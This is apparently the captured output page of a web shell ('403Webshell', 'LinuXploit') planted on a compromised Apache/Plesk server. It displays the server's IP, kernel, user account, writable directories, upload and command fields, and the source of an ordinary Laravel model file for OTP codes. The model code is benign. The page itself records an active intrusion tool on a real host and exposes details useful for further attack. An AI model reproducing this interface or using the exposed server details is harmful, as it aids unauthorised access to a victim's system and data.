403Webshell
Server IP : 77.68.25.176  /  Your IP : 216.73.216.25
Web Server : Apache
System : Linux plesk 4.15.0-159-generic #167-Ubuntu SMP Tue Sep 21 08:55:05 UTC 2021 x86_64
User : dwp ( 10001)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/dazzlingwebplanet.co.uk/tap2teach.dazzlingwebplanet.com/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/dazzlingwebplanet.co.uk/tap2teach.dazzlingwebplanet.com/app/Models/OtpCodeList.php
<?php

namespace App\Models;

use Eloquent as Model;
use Illuminate\Database\Eloquent\SoftDeletes;
use Illuminate\Database\Eloquent\Factories\HasFactory;

/**
 * Class OtpCodeList
 * @package App\Models
 * @version April 2, 2021, 9:19 am UTC
 *
 * @property string $email
 * @property string $contact_number
 * @property integer $code
 * @property string $type
 * @property string $response
 * @property boolean $is_verified
 */
class OtpCodeList extends Model
{
    use SoftDeletes;

    use HasFactory;

    public $table = 'otp_code_lists';
    
    const CREATED_AT = 'created_at';
    const UPDATED_AT = 'updated_at';


    protected $dates = ['deleted_at'];



    public $fillable = [
        'email',
        'contact_number',
        'code',
        'type',
        'response',
        'is_verified'
    ];

    /**
     * The attributes that should be casted to native types.
     *
     * @var array
     */
    protected $casts = [
        'id' => 'integer',
        'email' => 'string',
        'contact_number' => 'string',
        'code' => 'integer',
        'type' => 'string',
        'response' => 'string',
        'is_verified' => 'boolean'
    ];

    /**
     * Validation rules
     *
     * @var array
     */
    public static $rules = [
        'email' => 'required|string|max:255',
        'contact_number' => 'nullable|string|max:255',
        'code' => 'required|integer',
        'type' => 'required|string',
        'response' => 'nullable|string',
        'is_verified' => 'required|boolean',
        'deleted_at' => 'nullable',
        'created_at' => 'nullable',
        'updated_at' => 'nullable'
    ];

    
}

Youez - 2016 - github.com/yon3zu
LinuXploit